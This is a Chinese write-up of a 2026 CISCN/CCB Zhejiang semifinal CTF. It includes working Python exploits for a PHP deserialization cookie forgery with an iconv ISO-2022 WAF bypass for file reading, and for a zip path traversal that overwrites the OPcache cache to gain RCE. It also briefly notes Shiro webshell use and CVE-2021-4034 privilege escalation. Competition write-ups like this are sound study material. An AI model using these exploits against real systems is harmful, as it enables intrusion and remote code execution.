# 2026 ciscn&ccb 浙江赛区半决赛wp
Table of Contents
AWDP
MediaDrive
attack
cookie完全可控,可以反序列化改user属性
而preview.php可以任意文件读取
而编码解码操作是在waf后的,那么可以利用反序列化来控制User的encoding和basePath参数
这里提到:https://gist.github.com/Ridter/548af465ebc80806254b5a9dddab4a70 iconv在进行ISO-2022编码时,会在字符串前面强制插入 \x1b$)C
就是 ISO-2022 规范要求输出必须以 \x1b$)C 开头来声明字符集。
ISO-2022 转义序列结构
ISO-2022 标准定义了一套通过转义序列切换字符集的机制。转义序列的通用格式是:
ESC 中间字节(0个或多个) 终结字节(1个)对于 \x1b$)C,拆开就是:
| 字节 | 含义 |
|---|---|
\x1b | ESC,转义序列的起始标志 |
$ | 表示目标是多字节字符集(94x94 集合)。如果没有 $,就是单字节字符集 |
) | 表示指定到 G1 字符集槽位。( = G0,) = G1,* = G2,+ = G3 |
C | 终结字节,标识具体是哪个字符集。C = KS X 1001 (韩文) |
所以 \x1b$)C 完整意思是:“将KS X 1001字符集指定到 G1 槽位”。
所以如果后面没有字符来激活 G1,这个序列就只是一个纯粹的状态指令,不产生任何输出字符。
所以:
<?php
$rawPath="/../../../f\x1b$)Clag";
$convertedPath = iconv("UTF-8","ISO-2022-CN-EXT", $rawPath);if ($convertedPath === false || $convertedPath === "") { http_response_code(500); echo "Conversion failed"; exit;}echo $convertedPath."\n";
// 输出: /../../../flag但是这里有一坑,就是选择C这样还是会有残留的:
因为\x1b$)C 是 ISO-2022-KR 的序列,ISO-2022-CN-EXT 的 iconv 不认识它所以原样保留了。
而 终结字节: A = GB 2312符合ISO-2022-CN-EXT
换成 A 就会被正确消耗。
exp
<?phpclass User { public $name = "guest"; public $encoding = "ISO-2022-CN-EXT"; public $basePath = "/";}
echo serialize(new User());// O:4:"User":3:{s:4:"name";s:5:"guest";s:8:"encoding";s:15:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}import requestsimport urllib.parse
url = "http://172.18.32.222:1141/"
cookie = 'O:4:"User":3:{s:4:"name";s:5:"admin";s:8:"encoding";s:15:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}'
f_param = "fla" + urllib.parse.quote(b"\x1b$)A") + "g"
r = requests.get( f"{url}preview.php?f={f_param}", headers={"Cookie": f"user={urllib.parse.quote(cookie)}"})print(r.text)fix
ban掉反序列化
直接在读之前通防就好了
easy_time
attack
给了两个解压函数,用了危险的那个
直接从info join了,可以路径穿越。
结合题目名字和他给的date.php可以拿到index.php的创建时间戳,可以判断出是打Opcache覆盖index.php + 加时间戳绕过
读他的php.ini,果然如此
详见php Opcache插件进行RCE - Zer0peach can’t think
因为离线起不了docker,但是他给了phpinfo,就可以算出来system_id
<?phpvar_dump(md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002"));
// API420220829,NTS
// "string(32) "45b8be9467d6ed29438f06cfe9cee9f6""时间戳就可以通过/about页面的ssrf来获取
exp
import zipfileimport requestsimport structimport refrom html import unescape
base = "http://localhost:5000"system_id = "45b8be9467d6ed29438f06cfe9cee9f6"timestamp = 1769426974zipname = f"../../../tmp/{system_id}/var/www/html/index.php.bin"
s = requests.Session()
def login(): r = s.post(f"{base}/login", data={"username": "admin", "password": "secret"}) print("login:", r.status_code)
def genBin(): with open("index.php.bin", "rb") as f: data = bytearray(f.read()) data[0x08:0x28] = system_id.encode('ascii') struct.pack_into("<I", data, 0x40, timestamp) return data
def genZip(): with zipfile.ZipFile("payload.zip", "w") as zf: zf.writestr(zipfile.ZipInfo(zipname), genBin()) print("zip generated")
def upload(): with open("payload.zip", "rb") as f: r = s.post(f"{base}/plugin/upload", files={ "plugin": ("payload.zip", f, "application/zip") }) print("upload:", r.status_code)
def trigger(cmd="system(%22whoami%22);"): r = s.post(f"{base}/about", data={ "about": "x", "avatar_url": f"http://127.0.0.1:80/index.php?v2e={cmd}" }) match = re.search(r'len=b(.*?)</code>', r.text, re.DOTALL) if match: raw = unescape(match.group(1)) print(raw) else: print(r.text[:500])
if __name__ == "__main__": login() genZip() upload() trigger()fix
换成好的那个解压函数,但是exp利用成功,,,
后面修了几次都没修好,时间太少了
wso2-lab
本地部署了一下,是wso2 4.6,然后在
/home/wso2carbon/wso2am-4.6.0/repository/conf/user-mgt.xml
里面有账号密码,可以登录api后台界面,就可以打h2 jdbc
但是payload没打通,说请求长度太长,没时间审了,唉。
ISW
ISW3
直接fscan扫到shiro,工具一把锁冰蝎上线拿到flag1
发现有pkexec,打CVE-2021-4034提权拿到flag2
据说还可以rpc-client连上去得到flag,当时没想到。
ISW1&2
第一台机子有路径穿越任意文件读
直接爆破proc/${}/cmdline 0-999找到pico-restar.py 进而找到pico-server二进制文件
两题都是pwn,被队里大手子带飞。
总结
第一次打进决赛,去年awdp爆零,队友还是太强了。
总体感觉就是时间不够用